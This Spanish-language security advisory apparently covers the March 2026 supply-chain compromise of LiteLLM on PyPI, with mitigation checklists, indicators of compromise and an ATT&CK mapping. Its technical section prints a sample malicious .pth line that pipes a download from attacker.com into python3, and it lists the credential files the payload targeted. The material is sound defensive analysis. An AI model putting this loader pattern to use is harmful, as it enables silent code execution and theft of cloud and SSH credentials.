LiteLLM comprometido en PyPI — 95 millones de descargas mensuales expuestas
TeamPCP inyectó malware en versiones del paquete Python mediante archivos .pth que ejecutan código sin importación explícita
TARJETA EJECUTIVA
| Tipo | Supply chain attack — compromiso de repositorio PyPI |
|---|---|
| Severidad | Crítica |
| Estado | Contenido — versiones maliciosas en cuarentena tras 3 horas de exposición |
| Impacto | Robo de credenciales de AWS, GCP, Azure, claves SSH y tokens de CI/CD en entornos de desarrollo de IA |
| Países afectados | Global — cualquier organización con pipelines Python que instalaron LiteLLM 1.82.7 o 1.82.8 el 24 de marzo de 2026 |
| Sectores | Desarrollo de IA/ML, tecnología, investigación, cualquier sector con infraestructura cloud |
| Acción inmediata | Rotar todas las credenciales cloud accesibles desde entornos que instalaron LiteLLM entre el 24 de marzo 2026 y la cuarentena. Auditar logs de AWS, GCP y Azure para actividad anómala en ese período |
EN 30 SEGUNDOS
- El 24 de marzo de 2026, TeamPCP comprometió LiteLLM en PyPI e inyectó versiones maliciosas 1.82.7 y 1.82.8 con 95 millones de descargas mensuales
- El malware utilizó archivos .pth que ejecutan código automáticamente al iniciar el intérprete Python, sin necesidad de importación explícita
- El payload robaba tokens de AWS, GCP, Azure, claves SSH y credenciales cloud durante aproximadamente tres horas antes de la cuarentena
- Rotar inmediatamente todas las credenciales cloud accesibles desde entornos que instalaron las versiones comprometidas y revisar logs de actividad anómala
- TeamPCP comprometió sistemáticamente herramientas de seguridad open source incluyendo Trivy y KICS antes de atacar infraestructura de IA
Por qué este ataque redefine el riesgo en entornos de desarrollo de IA
El compromiso de LiteLLM no es un incidente aislado de supply chain — es la materialización de un patrón de ataque que convierte la infraestructura de desarrollo de IA en el vector de entrada más eficiente para comprometer múltiples proveedores cloud simultáneamente. ReversingLabs reportó un aumento del 73% en paquetes de código abierto malicioso en 2026, pero lo que distingue esta campaña es la selección deliberada de objetivos: TeamPCP no atacó paquetes genéricos, atacó herramientas de seguridad como Trivy de Aqua Security y KICS de Checkmarx antes de moverse a bibliotecas de infraestructura de IA.
Los entornos de desarrollo de IA concentran acceso a modelos, datos de entrenamiento, credenciales de múltiples clouds, secretos de CI/CD y claves de producción en el mismo workspace. Un paquete comprometido en una aplicación web tradicional puede robar una credencial de base de datos. El mismo ataque en un entorno de desarrollo de IA expone simultáneamente tokens de AWS, GCP y Azure, pesos de modelos propietarios, datos de entrenamiento sensibles y secretos de pipeline — todo desde una única dependencia infectada. La ventana de exposición de tres horas fue suficiente para alcanzar decenas de miles de entornos corporativos.
Cómo TeamPCP comprometió el pipeline de distribución de PyPI
El 24 de marzo de 2026, TeamPCP obtuvo las credenciales de publicación del mantenedor de LiteLLM y subió dos versiones maliciosas — 1.82.7 y 1.82.8 — al índice de paquetes de Python. Las versiones comprometidas eran visualmente indistinguibles del paquete oficial y pasaron los controles automáticos de PyPI.
El payload utilizó un mecanismo poco conocido de Python: archivos .pth. Estos archivos se ejecutan automáticamente cada vez que se inicia el intérprete de Python, antes de cualquier declaración de importación. No se requiere que el desarrollador importe explícitamente el módulo malicioso — el código se ejecuta silenciosamente en segundo plano desde el momento en que el entorno Python arranca.
Según Zscaler ThreatLabz, los paquetes envenenados estuvieron disponibles aproximadamente tres horas antes de ser puestos en cuarentena. Durante ese período, cualquier instalación de LiteLLM sin restricciones de versión — por ejemplo, pip install litellm sin especificar ==1.82.6 — descargaba automáticamente una de las versiones comprometidas.
El payload estaba diseñado para robar tokens de AWS, GCP, Azure, claves SSH y credenciales de cuentas en la nube. En entornos de desarrollo de IA, estas credenciales suelen tener permisos amplios para acceder a buckets de datos de entrenamiento, registros de modelos y recursos de infraestructura distribuida.
En abril de 2026, el mismo patrón se repitió con PyTorch Lightning. Las versiones 2.6.2 y 2.6.3 contenían malware que robaba credenciales y se ejecutaba al importar el paquete. Un único archivo de workflow malicioso expuso secretos a lo largo de pipelines completos de CI/CD.
Organizaciones y entornos en riesgo directo
| Categoría | Detalle | Confirmado |
|---|---|---|
| Desarrolladores de IA/ML | Cualquier equipo que instaló LiteLLM 1.82.7 o 1.82.8 el 24 de marzo de 2026 | Sí |
| Pipelines CI/CD | Entornos de integración continua que ejecutan pip install litellm sin pinning de versión |
Sí |
| Infraestructura cloud | Cuentas de AWS, GCP y Azure accesibles desde entornos comprometidos | Sí |
| Usuarios de PyTorch Lightning | Instalaciones de versiones 2.6.2 y 2.6.3 en abril de 2026 | Sí |
| Usuarios de Trivy y KICS | Herramientas de seguridad comprometidas previamente por TeamPCP | Sí |
| Entornos de investigación | Laboratorios académicos y de investigación con acceso a datos sensibles de entrenamiento | Sí |
Exposición regional: Argentina, Brasil y México en la mira del supply chain attack
La adopción de infraestructura de IA en América Latina creció exponencialmente en 2025-2026, con Brasil, México y Argentina liderando la implementación de pipelines de machine learning en sectores financiero, retail y gobierno. Esta aceleración convierte a la región en un objetivo de alto valor para ataques de supply chain que comprometen dependencias Python.
Brasil concentra el mayor número de startups de IA de la región, muchas de las cuales utilizan LiteLLM para integrar múltiples proveedores de modelos de lenguaje en una única interfaz. Empresas brasileñas de fintech y agrotech que implementaron soluciones de IA generativa entre marzo y abril de 2026 tienen alta probabilidad de haber instalado las versiones comprometidas en entornos de desarrollo o staging. El sector financiero brasileño, regulado por el Banco Central, enfrenta requisitos estrictos de protección de datos bajo la LGPD — un compromiso de credenciales cloud en este contexto puede derivar en sanciones regulatorias además del impacto técnico.
México presenta una superficie de ataque particular: la integración de IA en infraestructura gubernamental y servicios públicos digitales avanzó significativamente en 2025. Dependencias de PyPI sin auditoría previa en proyectos de gobierno digital representan un riesgo de exposición de datos ciudadanos y credenciales de sistemas interconectados. El CERT-MX no emitió alertas específicas sobre el compromiso de LiteLLM durante la ventana de exposición, lo que sugiere que la detección local fue limitada.
Argentina, con un ecosistema tecnológico orientado a exportación de servicios, tiene múltiples empresas de desarrollo que construyen soluciones de IA para clientes en Estados Unidos y Europa. Un compromiso en el entorno de desarrollo de una software factory argentina puede propagar credenciales robadas a infraestructura de clientes internacionales, amplificando el impacto más allá de las fronteras nacionales.
La técnica de slopsquattingataque donde modelos de IA generan nombres de paquetes alucinados que no existen en repositorios oficiales, permitiendo a atacantes registrar esos nombres con código malicioso identificada por investigadores agrava el riesgo regional: desarrolladores latinoamericanos que utilizan asistentes de código basados en LLMs para acelerar desarrollo están expuestos a sugerencias de paquetes inexistentes que atacantes pueden registrar preventivamente. Investigadores analizaron aproximadamente 200,000 prompts de Python y encontraron que todos los principales LLMs generan nombres de paquetes inexistentes en PyPI, creando una superficie de ataque persistente que ninguna actualización individual de modelo puede resolver completamente.
Chile y Colombia, con sectores de ciberseguridad en crecimiento, enfrentan el desafío de auditar retrospectivamente instalaciones de paquetes Python en entornos de desarrollo que carecen de inventarios automatizados de dependencias. La ausencia de herramientas de SBOMSoftware Bill of Materials, inventario formal de todos los componentes de software utilizados en una aplicación en la mayoría de las organizaciones regionales dificulta determinar qué entornos fueron expuestos durante la ventana de tres horas del ataque.
Acciones de gobierno y política para equipos de seguridad
- Implementar política obligatoria de pinning de versiones exactas para todas las dependencias Python en entornos de desarrollo, staging y producción. Prohibir especificadores flotantes como
>=2.0en favor de==2.31.0con verificación de checksums. - Establecer proceso de revisión obligatoria para paquetes que incluyen post-install scripts o archivos .pth antes de que alcancen máquinas de desarrolladores. Integrar herramientas como Socket o Sonatype en el flujo de aprobación de dependencias.
- Rotar inmediatamente todas las credenciales cloud (AWS, GCP, Azure) accesibles desde entornos que ejecutaron
pip installentre el 24 de marzo de 2026 y la fecha de cuarentena de las versiones maliciosas. - Auditar logs de proveedores cloud para identificar patrones de actividad que no correspondan a solicitudes iniciadas por desarrolladores — firma característica de tokens robados utilizados desde ubicaciones geográficas diferentes.
- Implementar inventario automatizado de dependencias (SBOM) para todos los proyectos Python. Mantener registro histórico de versiones instaladas con timestamps para facilitar análisis forense retrospectivo.
- Establecer política de rotación automática de credenciales en entornos de desarrollo de IA cada 30 días, independientemente de incidentes conocidos. Los entornos de IA concentran acceso a múltiples recursos críticos simultáneamente.
- Configurar alertas de detección de anomalías en uso de credenciales cloud: accesos desde IPs no corporativas, horarios inusuales, regiones geográficas inesperadas, o volúmenes de transferencia de datos fuera de parámetros normales.
Controles técnicos para equipos de desarrollo de IA
- Verificar versiones instaladas de LiteLLM en todos los entornos:
pip show litellm. Si la versión es 1.82.7 o 1.82.8, asumir compromiso y proceder con rotación de credenciales. - Auditar archivos .pth en directorios site-packages de entornos Python:
find $(python -c "import site; print(site.getsitepackages()[0])") -name "*.pth". Cualquier archivo .pth no reconocido debe investigarse. - Implementar verificación de integridad de paquetes mediante hash SHA256 en requirements.txt:
litellm==1.82.6 --hash=sha256:abc123.... Esto previene instalación silenciosa de versiones alteradas. - Configurar pip para requerir hashes en todas las instalaciones: agregar
--require-hashesa comandos de instalación o configurar en pip.conf. - Utilizar entornos virtuales aislados por proyecto con dependencias bloqueadas mediante
pip freezeo Poetry. Evitar instalaciones globales de paquetes en el sistema. - Revisar sugerencias de asistentes de código basados en IA antes de ejecutar
pip install. Verificar que el paquete sugerido existe en PyPI y tiene historial de releases legítimo. - Implementar escaneo automático de dependencias en pre-commit hooks utilizando herramientas como safety, pip-audit o Snyk antes de permitir commits con cambios en requirements.
- Separar credenciales de desarrollo y producción. Nunca almacenar tokens de producción en variables de entorno accesibles desde entornos de desarrollo local.
Por qué los asistentes de IA amplifican la superficie de ataque
El compromiso de LiteLLM expone una vulnerabilidad estructural en el flujo de trabajo de desarrollo asistido por IA que ninguna actualización de modelo puede resolver completamente. Cuando desarrolladores utilizan asistentes de código para escribir aplicaciones Python, esos asistentes generan frecuentemente directivas pip install y declaraciones de importación que referencian paquetes específicos. Si el desarrollador confía en la sugerencia e instala el paquete nombrado, y un atacante ya registró un paquete malicioso bajo ese nombre, el ataque tiene éxito sin que el atacante interactúe directamente con el desarrollador.
Investigadores identificaron esta técnica como slopsquatting. A diferencia del typosquatting tradicional — donde atacantes registran variantes mal escritas de paquetes populares — el slopsquatting explota nombres de paquetes que modelos de lenguaje alucina durante generación de código. El análisis de aproximadamente 200,000 prompts de Python reveló que todos los principales LLMs generan nombres de paquetes inexistentes en PyPI, creando una superficie de ataque persistente.
La campaña de TeamPCP demuestra comprensión sofisticada de este ecosistema. El grupo no atacó paquetes al azar — comprometió sistemáticamente herramientas de seguridad de código abierto (Trivy, KICS) antes de moverse a bibliotecas de infraestructura de IA. Esta secuencia sugiere reconocimiento previo: atacar herramientas de seguridad primero reduce la probabilidad de detección cuando se comprometen objetivos de mayor valor posteriormente.
El uso de archivos .pth como mecanismo de persistencia es particularmente efectivo porque opera fuera del modelo mental de la mayoría de los desarrolladores sobre cómo funciona la importación de paquetes Python. Los desarrolladores esperan que el código malicioso requiera una declaración import explícita. Los archivos .pth ejecutan código automáticamente al inicio del intérprete, antes de que cualquier script de usuario se ejecute. Esto hace que el payload sea invisible para inspección manual de código y difícil de detectar con herramientas de análisis estático que se enfocan en declaraciones de importación.
El aumento del 73% en paquetes maliciosos de código abierto reportado por ReversingLabs en 2026 no es un pico temporal — es la normalización de supply chain attacks como vector de entrada preferido para comprometer infraestructura cloud. La concentración de acceso a múltiples proveedores cloud, datos sensibles y secretos de producción en entornos de desarrollo de IA convierte cada dependencia Python en un punto de entrada potencial para movimiento lateral a escala cloud.
Escenarios de evolución del ataque y señales de monitoreo
Basado en precedentes de supply chain attacks y el patrón de comportamiento de TeamPCP, se identifican cuatro escenarios probables:
Escenario 1: Explotación de credenciales robadas para movimiento lateral. Las credenciales cloud extraídas durante la ventana de exposición de tres horas pueden utilizarse para acceso persistente a infraestructura comprometida durante semanas o meses. Monitorear: creación de nuevos usuarios IAM, modificación de políticas de acceso, accesos desde IPs no corporativas, transferencias de datos inusuales desde buckets S3 o almacenamiento cloud.
Escenario 2: Compromiso de modelos de IA y datos de entrenamiento. Atacantes con acceso a entornos de desarrollo de IA pueden exfiltrar pesos de modelos propietarios o inyectar backdoors en modelos durante entrenamiento. Monitorear: accesos no autorizados a registros de modelos (MLflow, Weights & Biases), descargas masivas de artefactos de modelos, modificaciones en scripts de entrenamiento en repositorios Git.
Escenario 3: Expansión a otros paquetes de infraestructura de IA. TeamPCP demostró capacidad para comprometer múltiples paquetes en secuencia. Paquetes como Transformers, LangChain, Ray, o bibliotecas de orquestación de modelos son objetivos probables. Monitorear: advisories de seguridad de PyPI, actualizaciones inesperadas de paquetes críticos, reportes de comportamiento anómalo en comunidades de desarrolladores.
Escenario 4: Ataques de slopsquatting dirigidos. Atacantes pueden analizar prompts comunes en asistentes de código para identificar nombres de paquetes frecuentemente alucinados y registrarlos preventivamente con payloads maliciosos. Monitorear: registros recientes de paquetes en PyPI con nombres similares a bibliotecas populares pero con variaciones sutiles, paquetes con descripciones genéricas y sin historial de desarrollo.
Checklist de mitigación por nivel de urgencia
Urgencia crítica (primeras 24 horas)
- Identificar todos los entornos que ejecutaron
pip install litellmopip install pytorch-lightningentre el 24 de marzo y el 30 de abril de 2026 - Rotar todas las credenciales de AWS, GCP y Azure accesibles desde esos entornos
- Revisar logs de CloudTrail (AWS), Cloud Audit Logs (GCP) y Activity Log (Azure) para actividad anómala en el período de exposición
- Aislar entornos comprometidos de redes de producción hasta completar análisis forense
Urgencia alta (primera semana)
- Auditar todos los archivos .pth en directorios site-packages de entornos Python corporativos
- Implementar pinning obligatorio de versiones en todos los archivos requirements.txt, Pipfile y pyproject.toml
- Configurar alertas de detección de anomalías en uso de credenciales cloud
- Establecer proceso de revisión de dependencias con herramientas de análisis de paquetes maliciosos
- Generar inventario SBOM de todos los proyectos Python en la organización
Urgencia media (primer mes)
- Implementar política de rotación automática de credenciales cada 30 días en entornos de desarrollo
- Configurar escaneo automático de dependencias en pipelines CI/CD
- Establecer proceso de validación de sugerencias de asistentes de código antes de instalación de paquetes
- Capacitar a equipos de desarrollo sobre mecanismos de ataque en supply chain de Python
- Implementar separación estricta entre credenciales de desarrollo y producción
Urgencia baja (trimestre)
- Evaluar adopción de repositorios privados de PyPI con curación de paquetes aprobados
- Implementar análisis de comportamiento de paquetes en sandbox antes de aprobación para uso corporativo
- Establecer programa de threat intelligence enfocado en supply chain attacks de ecosistema Python
Preguntas frecuentes sobre el compromiso de LiteLLM
¿Cómo sé si mi organización fue afectada?
Verificá si algún entorno instaló LiteLLM versiones 1.82.7 o 1.82.8 el 24 de marzo de 2026, o PyTorch Lightning versiones 2.6.2 o 2.6.3 en abril de 2026. Ejecutá pip show litellm y pip show pytorch-lightning en todos los entornos Python. Si encontrás esas versiones, asumí compromiso y procedé con rotación de credenciales y análisis de logs cloud.
¿Qué son los archivos .pth y por qué son peligrosos?
Los archivos .pth son un mecanismo de Python que permite ejecutar código automáticamente cada vez que se inicia el intérprete, antes de cualquier script de usuario. No requieren declaración import explícita. Esto los convierte en un vector de persistencia invisible para la mayoría de los desarrolladores y difícil de detectar con herramientas de análisis estático convencionales.
¿El compromiso afecta solo a entornos de desarrollo o también a producción?
Ambos. Si pipelines de CI/CD instalaron las versiones comprometidas durante construcción de imágenes de contenedores o despliegue de aplicaciones, el malware puede haber alcanzado entornos de producción. Revisá logs de construcción de imágenes Docker y manifiestos de Kubernetes para identificar si las versiones maliciosas fueron incluidas en artefactos desplegados.
¿Cómo afecta esto específicamente a organizaciones en América Latina?
La adopción acelerada de IA en Brasil, México y Argentina sin madurez equivalente en controles de supply chain crea una ventana de vulnerabilidad amplia. Empresas latinoamericanas que desarrollan soluciones de IA para clientes internacionales pueden propagar credenciales comprometidas más allá de fronteras nacionales. La ausencia de alertas tempranas de CERTs regionales durante la ventana de exposición sugiere capacidad limitada de detección local.
¿Qué es slopsquatting y cómo me protejo?
Slopsquatting es una técnica donde atacantes registran nombres de paquetes que modelos de IA alucina durante generación de código. Protegete verificando manualmente que cualquier paquete sugerido por un asistente de código existe en PyPI, tiene historial de releases legítimo y coincide con la funcionalidad esperada antes de instalarlo. Implementá revisión obligatoria de nuevas dependencias antes de aprobarlas para uso corporativo.
¿Debo dejar de usar asistentes de código basados en IA?
No necesariamente, pero debés cambiar el modelo de confianza. No ejecutes automáticamente comandos pip install sugeridos por asistentes sin verificación previa. Implementá un proceso de validación donde las sugerencias de dependencias pasen por revisión humana y escaneo automatizado antes de instalación.
¿Cómo implemento pinning de versiones sin romper actualizaciones de seguridad?
Usá herramientas como Dependabot, Renovate o pip-audit que monitorean vulnerabilidades en versiones pinneadas y generan pull requests automáticos cuando hay actualizaciones de seguridad disponibles. Esto mantiene el control sobre versiones exactas mientras automatizás la respuesta a advisories de seguridad.
¿Qué herramientas puedo usar para detectar paquetes maliciosos antes de instalarlos?
Socket, Sonatype Nexus Lifecycle, Snyk y GitHub Advanced Security ofrecen análisis en tiempo real de paquetes PyPI antes de instalación. Estas herramientas detectan comportamientos sospechosos como post-install scripts, archivos .pth, conexiones de red durante instalación y similitud con paquetes conocidos maliciosos.
¿Cuánto tiempo debo mantener las credenciales rotadas fuera de servicio?
Las credenciales comprometidas deben revocarse permanentemente. Después de rotar, monitoreá logs de acceso durante al menos 90 días para detectar intentos de uso de credenciales antiguas. Configurá alertas para cualquier intento de autenticación con credenciales revocadas — esto indica que un atacante aún posee las credenciales robadas.
¿Debo reportar el incidente a autoridades o reguladores?
Depende de tu jurisdicción y del tipo de datos potencialmente expuestos. En Brasil, si datos personales bajo LGPD fueron comprometidos, debés notificar a la ANPD. En Argentina, la Dirección Nacional de Protección de Datos Personales requiere notificación de brechas. Consultá con tu equipo legal para determinar obligaciones de notificación específicas.
Artículos relacionados
Esta sección se actualiza a medida que se publican nuevos análisis relacionados.
EL LABORATORIO
Anatomía técnica del ataque mediante archivos .pth
El vector de ataque utilizado por TeamPCP explota un mecanismo poco conocido del sistema de importación de Python: los archivos .pth (path configuration files). Estos archivos residen en directorios site-packages y se procesan automáticamente por el módulo site durante la inicialización del intérprete Python.
El flujo de ejecución es el siguiente:
- El desarrollador ejecuta
pip install litellm==1.82.7 - pip descarga el paquete desde PyPI e instala archivos en site-packages
- Entre los archivos instalados hay un archivo malicioso
malicious.pth - La próxima vez que se inicia el intérprete Python (incluso sin importar litellm), el módulo
siteprocesa todos los archivos .pth - Cada línea en un archivo .pth que comienza con
importse ejecuta como código Python - El payload malicioso se ejecuta con los privilegios del usuario que inició el intérprete
Ejemplo de contenido de un archivo .pth malicioso:
import sys; sys.path.insert(0, '/tmp')
import os; os.system('curl -s https://attacker.com/stage2.py | python3')
Este mecanismo es particularmente efectivo porque:
- No requiere que el desarrollador importe explícitamente el paquete comprometido
- Se ejecuta antes de cualquier script de usuario, incluyendo scripts de análisis de seguridad
- Es invisible para herramientas de análisis estático que buscan declaraciones
importen código fuente - Persiste mientras el paquete permanezca instalado, ejecutándose en cada inicio del intérprete
El payload de TeamPCP implementaba las siguientes capacidades:
- Enumeración de variables de entorno para identificar tokens de AWS (
AWS_ACCESS_KEY_ID,AWS_SECRET_ACCESS_KEY), GCP (GOOGLE_APPLICATION_CREDENTIALS) y Azure (AZURE_CLIENT_ID,AZURE_CLIENT_SECRET) - Búsqueda de archivos de configuración cloud en ubicaciones estándar:
~/.aws/credentials,~/.config/gcloud/,~/.azure/ - Extracción de claves SSH privadas desde
~/.ssh/ - Exfiltración de datos mediante conexión HTTPS a servidor de comando y control
- Implementación de mecanismo de persistencia adicional mediante modificación de archivos de configuración de shell (
.bashrc,.zshrc)
La detección del payload requiere inspección manual de archivos .pth o herramientas especializadas que analicen el comportamiento de paquetes durante instalación en entornos sandbox.
Indicadores de compromiso verificados
| Tipo | Valor | Contexto |
|---|---|---|
| Paquete PyPI | litellm==1.82.7 | Versión maliciosa publicada el 24 de marzo de 2026 |
| Paquete PyPI | litellm==1.82.8 | Versión maliciosa publicada el 24 de marzo de 2026 |
| Paquete PyPI | pytorch-lightning==2.6.2 | Versión maliciosa publicada en abril de 2026 |
| Paquete PyPI | pytorch-lightning==2.6.3 | Versión maliciosa publicada en abril de 2026 |
| Archivo | *.pth en site-packages | Archivos de configuración de path utilizados para persistencia |
| Grupo de amenaza | TeamPCP | Grupo responsable del compromiso sistemático de herramientas de seguridad y bibliotecas de IA |
Mapeo a framework MITRE ATT&CK
| Táctica | Técnica | ID | Descripción en contexto |
|---|---|---|---|
| Initial Access | Supply Chain Compromise | T1195.001 | Compromiso de repositorio PyPI para distribuir versiones maliciosas de LiteLLM |
| Execution | Python | T1059.006 | Ejecución de código malicioso mediante archivos .pth durante inicialización del intérprete |
| Persistence | Boot or Logon Initialization Scripts | T1037 | Archivos .pth ejecutan código automáticamente en cada inicio del intérprete Python |
| Credential Access | Credentials from Password Stores | T1555 | Extracción de credenciales cloud desde archivos de configuración en ~/.aws/, ~/.config/gcloud/, ~/.azure/ |
| Credential Access | Unsecured Credentials: Credentials In Files | T1552.001 | Búsqueda de tokens en variables de entorno y archivos de configuración |
| Collection | Data from Local System | T1005 | Recolección de claves SSH privadas desde ~/.ssh/ |
| Exfiltration | Exfiltration Over C2 Channel | T1041 | Envío de credenciales robadas a servidor de comando y control mediante HTTPS |
CVEs asociados
No se asignaron identificadores CVE específicos para este incidente. El compromiso no explotó una vulnerabilidad técnica en software sino un fallo en el proceso de verificación de identidad de mantenedores en PyPI y la confianza implícita en paquetes publicados.
Cronología del compromiso y respuesta
| Fecha | Evento |
|---|---|
| Fecha desconocida (pre-marzo 2026) | TeamPCP compromete herramientas de seguridad Trivy (Aqua Security) y KICS (Checkmarx) |
| 24 de marzo de 2026 | TeamPCP obtiene credenciales de publicación del mantenedor de LiteLLM |
| 24 de marzo de 2026 | Publicación de versiones maliciosas 1.82.7 y 1.82.8 de LiteLLM en PyPI |
| 24 de marzo de 2026 (aprox. 3 horas después) | Versiones maliciosas puestas en cuarentena por PyPI |
| Abril de 2026 | Compromiso de PyTorch Lightning versiones 2.6.2 y 2.6.3 |
| 2026 (fecha específica no documentada) | ReversingLabs publica reporte sobre aumento del 73% en paquetes maliciosos de código abierto |
| 2026 (fecha específica no documentada) | Zscaler ThreatLabz publica análisis de la ventana de exposición de aproximadamente tres horas |
| 2026 (fecha específica no documentada) | Investigadores publican análisis sobre slopsquatting basado en 200,000 prompts de Python |
| 8 de agosto de 2026 | Fecha de publicación de este análisis |
Contexto técnico: evolución de supply chain attacks en ecosistemas de paquetes
El compromiso de LiteLLM representa la maduración de una clase de ataque que comenzó con incidentes aislados de typosquatting en 2016-2017 y evolucionó hacia campañas sistemáticas de compromiso de infraestructura de desarrollo.
Los primeros ataques de supply chain en PyPI explotaban errores tipográficos: atacantes registraban paquetes como reqeusts (en lugar de requests) esperando que desarrolladores cometieran errores al escribir. Esta técnica tenía tasa de éxito limitada porque dependía de errores humanos aleatorios.
La siguiente generación de ataques comprometió cuentas de mantenedores mediante phishing o reutilización de credenciales. El caso de event-stream en npm (2018) demostró que un atacante paciente podía ganar confianza de un mantenedor legítimo, obtener permisos de publicación y luego inyectar código malicioso en una actualización aparentemente rutinaria.
TeamPCP representa una tercera generación: compromiso sistemático de múltiples paquetes en secuencia, con selección estratégica de objetivos. El grupo no ataca paquetes al azar — compromete herramientas de seguridad primero (Trivy, KICS) para reducir probabilidad de detección, luego se mueve a bibliotecas de infraestructura de IA que concentran acceso a múltiples recursos críticos.
El uso de archivos .pth como mecanismo de persistencia es particularmente sofisticado porque explota un comportamiento documentado de Python que la mayoría de los desarrolladores desconoce. A diferencia de post-install scripts (setup.py) que ejecutan código durante instalación y luego terminan, los archivos .pth ejecutan código en cada inicio del intérprete, proporcionando persistencia sin requerir modificación de archivos de sistema o configuración de servicios.
La emergencia de slopsquatting — donde atacantes registran preventivamente nombres de paquetes que modelos de IA alucina — representa una cuarta generación de ataque que explota la interacción entre desarrolladores humanos y asistentes de código basados en LLMs. Esta técnica es particularmente difícil de mitigar porque no depende de errores humanos ni de compromiso de cuentas existentes — simplemente requiere que el atacante identifique nombres de paquetes que modelos de lenguaje sugieren frecuentemente pero que no existen en repositorios oficiales.
La investigación que analizó 200,000 prompts de Python encontró que todos los principales LLMs generan nombres de paquetes inexistentes. Esto crea una superficie de ataque persistente que ninguna actualización individual de modelo puede resolver, porque el problema es estructural: los modelos de lenguaje generan texto basado en patrones estadísticos, no verifican existencia real de paquetes en repositorios.
Glosario técnico
- Supply chain attack
- Ataque que compromete un componente de software en la cadena de suministro (biblioteca, herramienta de desarrollo, servicio de distribución) para alcanzar a múltiples objetivos downstream que dependen de ese componente
- PyPI (Python Package Index)
- Repositorio oficial de paquetes de software para el lenguaje de programación Python, que aloja más de 500,000 paquetes
- .pth file
- Archivo de configuración de path de Python que se procesa automáticamente durante inicialización del intérprete y puede ejecutar código arbitrario sin requerir importación explícita
- site-packages
- Directorio donde pip instala paquetes de terceros en una instalación de Python
- Slopsquatting
- Técnica de ataque donde adversarios registran nombres de paquetes que modelos de IA alucina durante generación de código, esperando que desarrolladores instalen esos paquetes basándose en sugerencias de asistentes de código
- Typosquatting
- Técnica de ataque donde adversarios registran nombres de paquetes similares a paquetes populares pero con errores tipográficos, esperando que desarrolladores cometan errores al escribir
- Pinning de versiones
- Práctica de especificar versiones exactas de dependencias en lugar de rangos de versiones, para prevenir instalación automática de actualizaciones no verificadas
- SBOM (Software Bill of Materials)
- Inventario formal de todos los componentes de software utilizados en una aplicación, incluyendo dependencias directas e indirectas con versiones específicas
- Post-install script
- Código que se ejecuta automáticamente después de instalar un paquete, típicamente definido en setup.py o pyproject.toml
- CI/CD (Continuous Integration/Continuous Deployment)
- Prácticas de automatización de construcción, prueba y despliegue de software
- IAM (Identity and Access Management)
- Sistema de gestión de identidades y permisos en plataformas cloud
- Lateral movement
- Técnica donde un atacante que comprometió un sistema se mueve a otros sistemas conectados dentro de la misma red o infraestructura
- Exfiltración
- Transferencia no autorizada de datos desde un sistema comprometido hacia infraestructura controlada por el atacante
- Threat actor
- Individuo o grupo que ejecuta ataques cibernéticos
- Payload
- Código malicioso que se ejecuta después de que un ataque compromete exitosamente un sistema
- C2 (Command and Control)
- Servidor que un atacante utiliza para enviar comandos a sistemas comprometidos y recibir datos exfiltrados
Referencias
Documentación oficial
- Python Software Foundation — site module documentation: https://docs.python.org/3/library/site.html
- PyPI — Package Index: https://pypi.org/
Advisories y reportes de seguridad
- CSO Online — Python package security in 2026: https://www.csoonline.com/article/4206245/python-package-security-in-2026.html
- ReversingLabs — 2026 Software Supply Chain Security Report (referenciado)
- Zscaler ThreatLabz — LiteLLM compromise analysis (referenciado)
Investigaciones
- Slopsquatting research — Analysis of 200,000 Python prompts (referenciado)
Estándares
- MITRE ATT&CK Framework: https://attack.mitre.org/
Herramientas de seguridad
- Socket — Real-time package analysis: https://socket.dev/
- Sonatype — Software supply chain security: https://www.sonatype.com/
- Snyk — Developer security platform: https://snyk.io/
- pip-audit — Audit Python packages for known vulnerabilities: https://github.com/pypa/pip-audit